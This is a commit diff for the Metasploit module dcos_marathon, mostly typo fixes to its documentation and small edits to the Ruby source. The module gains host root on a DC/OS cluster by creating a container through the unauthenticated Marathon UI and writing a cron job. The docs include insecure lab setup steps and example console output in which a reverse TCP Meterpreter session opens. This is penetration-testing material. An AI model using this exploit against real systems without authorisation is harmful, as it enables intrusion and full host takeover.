Skip to content

Commit bac2375

Browse files
author
wolfthefallen
committed
Updated based on busterb comments
1 parent 6c69e13 commit bac2375

File tree

2 files changed

+22
-28
lines changed

2 files changed

+22
-28
lines changed

documentation/modules/exploit/linux/http/dcos_marathon.md

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -2,36 +2,36 @@
22
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
33
a docker container with the '/' path mounted with read/write
44
permissions on the host server that is running the docker container.
5-
As the docker container excutes command as uid 0 it is honored
5+
As the docker container executes command as uid 0 it is honored
66
by the host operating system allowing the attacker to edit/create
77
files owed by root. This exploit abuses this to creates a cron job
88
in the '/etc/cron.d/' path of the host server.
99

10-
*Notes: The docker image must be a valid docker image from
10+
*Notes: The docker image must be a valid docker image from
1111
hub.docker.com. Further more the docker container will only
1212
deploy if there are resources available in the DC/OS
1313

1414
## DCOS
15-
This Expoit was tested with CentOS 7 as the host operating system for
15+
This Exploit was tested with CentOS 7 as the host operating system for
1616
the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with
17-
Defualt 'custom' installation for on site premise setup. Only the Install
17+
Default 'custom' installation for on site premise setup. Only the Install
1818
part of the DCOS guide was completed, the system hardening and securing
19-
your cluster section where skipped. This is to represent a 'Defualt' install
19+
your cluster section where skipped. This is to represent a 'Default' install
2020
with a system admin conducting hasty deployments taking no thought about security.
2121

2222

2323
## To Setup Your Cluster
24-
I recommend doing a 'On-Premies'/custom
24+
I recommend doing a 'on-premise'/custom
2525
cluster. https://dcos.io/docs/1.8/administration/installing/custom/
2626
Create a virtual CentOS machine, install requirements base on the above
2727
guide.
28-
28+
2929
```bash
3030
# The TLDR from the above guide
3131
sudo systemctl stop firewalld && sudo systemctl disable firewalld
3232
sudo yum install -y tar xz unzip curl ipset ntp
33-
systemctl start ntpd
34-
systemctl enable ntpd
33+
sudo systemctl start ntpd
34+
sudo systemctl enable ntpd
3535
sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
3636
sudo groupadd nogroup && sudo reboot
3737
```
@@ -60,7 +60,7 @@ Once the CentOS machine has rebooted, edit the systemctl
6060
service file for docker and change the ExecStart- line to
6161
`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://`
6262
restart the docker service and verify it is running.
63-
lastely generate ssh rsa keys for authentication. And update the
63+
lastly generate ssh rsa keys for authentication. And update the
6464
/etc/ssh/sshd_config file to support root login.
6565

6666
```bash
@@ -77,10 +77,10 @@ Start the DCOS-Master and DCOS-Agent virtual machines You just cloned.
7777
Login and get their current IP address.
7878
* Note: I recommend giving them static IPs if you have further use for the cluster.
7979

80-
From here use another linux machine with docker installed to finish
81-
the installation process. I used an ubuntu machine with docker installed.
80+
From here use another Linux machine with docker installed to finish
81+
the installation process. I used an Ubuntu machine with docker installed.
8282

83-
Follow the custom CLI guide for creating the required files in
83+
Follow the custom CLI guide for creating the required files in
8484
the genconf folder.
8585
https://dcos.io/docs/1.8/administration/installing/custom/cli/
8686

@@ -137,9 +137,9 @@ If all is passing navigate to http://[master_ip]:8080/
137137
You should see the Marathon UI web application.
138138

139139
# Exploitation
140-
This module is designed for the attacker to leaverage the creatation of a
141-
docker contianer with out authentication through the DCOS Marathon UI
142-
to gain root access to the hosting server of the docker container
140+
This module is designed for the attacker to leverage, creation of a
141+
docker container with out authentication through the DCOS Marathon UI
142+
to gain root access to the hosting server of the docker container
143143
in the DCOS cluster.
144144

145145
## Options
@@ -157,7 +157,7 @@ in the DCOS cluster.
157157

158158
## Example Output
159159
```
160-
msf > use exploit/linux/http/dcos_marathon
160+
msf > use exploit/linux/http/dcos_marathon
161161
msf exploit(dcos_marathon) > set RHOST 192.168.0.9
162162
RHOST => 192.168.0.9
163163
msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
@@ -168,9 +168,9 @@ msf exploit(dcos_marathon) > set verbose true
168168
verbose => true
169169
msf exploit(dcos_marathon) > check
170170
[*] 192.168.0.9:8080 The target appears to be vulnerable.
171-
msf exploit(dcos_marathon) > exploit
171+
msf exploit(dcos_marathon) > exploit
172172
173-
[*] Started reverse TCP handler on 192.168.0.100:4444
173+
[*] Started reverse TCP handler on 192.168.0.100:4444
174174
[*] Setting container json request variables
175175
[*] Creating the docker container command
176176
[*] The docker container is created, waiting for it to deploy
@@ -188,5 +188,5 @@ OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UT
188188
Architecture : x64
189189
System Language : en_US
190190
Meterpreter : python/linux
191-
meterpreter >
191+
meterpreter >
192192
```

modules/exploits/linux/http/dcos_marathon.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = ExcellentRanking
108

@@ -18,7 +16,7 @@ def initialize(info = {})
1816
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
1917
a docker container with the '/' path mounted with read/write
2018
permissions on the host server that is running the docker container.
21-
As the docker container excutes command as uid 0 it is honored
19+
As the docker container executes command as uid 0 it is honored
2220
by the host operating system allowing the attacker to edit/create
2321
files owed by root. This exploit abuses this to creates a cron job
2422
in the '/etc/cron.d/' path of the host server.
@@ -32,10 +30,6 @@ def initialize(info = {})
3230
'References' => [
3331
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
3432
],
35-
'Payload' =>
36-
{
37-
'DisableNops'=> true,
38-
},
3933
'Targets' => [
4034
[ 'Python', {
4135
'Platform' => 'python',
@@ -58,7 +52,7 @@ def initialize(info = {})
5852
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
5953
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
6054
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
61-
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wiat for the docker container to deploy', 60 ])
55+
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
6256
], self.class)
6357
end
6458

0 commit comments

Comments
 (0)